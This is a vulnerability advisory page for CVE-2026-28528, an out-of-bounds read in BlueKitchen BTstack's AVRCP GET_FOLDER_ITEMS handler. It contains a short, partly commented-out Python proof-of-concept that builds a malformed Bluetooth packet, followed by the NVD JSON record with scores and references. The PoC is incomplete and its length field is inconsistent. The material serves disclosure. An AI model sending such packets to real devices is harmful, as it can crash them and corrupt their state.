CVE-2026-28528

import socket import struct # Conceptual PoC for CVE-2026-28528 # Requires a paired Bluetooth connection and L2CAP channel access def send_malicious_avrcp_packet(target_mac, psm): # Connect to the target AVRCP channel # sock = socket.socket(socket.AF_BLUETOOTH, socket.SOCK_SEQPACKET, socket.BTPROTO_L2CAP) # sock.connect((target_mac, psm)) # Construct GET_FOLDER_ITEMS PDU # PDU ID: 0x71 (GetFolderItems) # Manipulate attr_id to trigger out-of-bounds read pdu_id = b"\x71" param_length = struct.pack("<H", 10) # Arbitrary length # Malicious attribute ID list with invalid count/index # causing the handler to read past the buffer malicious_attr_id = b"\xFF\xFF" # Invalid ID packet = pdu_id + param_length + malicious_attr_id # sock.send(packet) # print(f"[+] Malicious packet sent to {target_mac}") # sock.close() pass # Note: Actual exploitation requires handling L2CAP connection setup and SDP lookup.

{"cve": {"id": "CVE-2026-28528", "sourceIdentifier": "[email protected]", "published": "2026-03-30T14:16:35.203", "lastModified": "2026-04-06T12:42:11.190", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "BlueKitchen BTstack versions prior to 1.8.1 contain an out-of-bounds read vulnerability in the AVRCP Browsing Target GET_FOLDER_ITEMS handler that fails to validate packet boundaries and attribute count data. An attacker with a paired Bluetooth Classic connection can exploit insufficient bounds checking on the attr_id parameter to cause crashes and corrupt attribute bitmap state."}, {"lang": "es", "value": "Las versiones de BlueKitchen BTstack anteriores a la 1.8.1 contienen una vulnerabilidad de lectura fuera de límites en el gestor GET_FOLDER_ITEMS del objetivo de navegación AVRCP que no valida los límites de los paquetes y los datos de recuento de atributos. Un atacante con una conexión Bluetooth Classic emparejada puede explotar la comprobación de límites insuficiente en el parámetro attr_id para causar fallos y corromper el estado del mapa de bits de atributos."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:A/AC:L/AT:P/PR:N/UI:P/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.1, "baseSeverity": "LOW", "attackVector": "ADJACENT", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L", "baseScore": 4.6, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.1, "impactScore": 2.5}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L", "baseScore": 4.6, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.1, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}, {"lang": "en", "value": "CWE-758"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:bluekitchen-gmbh:btstack:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.8.1", "matchCriteriaId": "C2852C96-CC34-4FB3-9CB9-0048722A6617"}]}]}], "references": [{"url": "https://github.com/bluekitchen/btstack/releases/tag/v1.8.1", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://www.vulncheck.com/advisories/bluekitchen-btstack-avrcp-browsing-target-get-folder-items-handler-oob-read-undefined-behavior", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}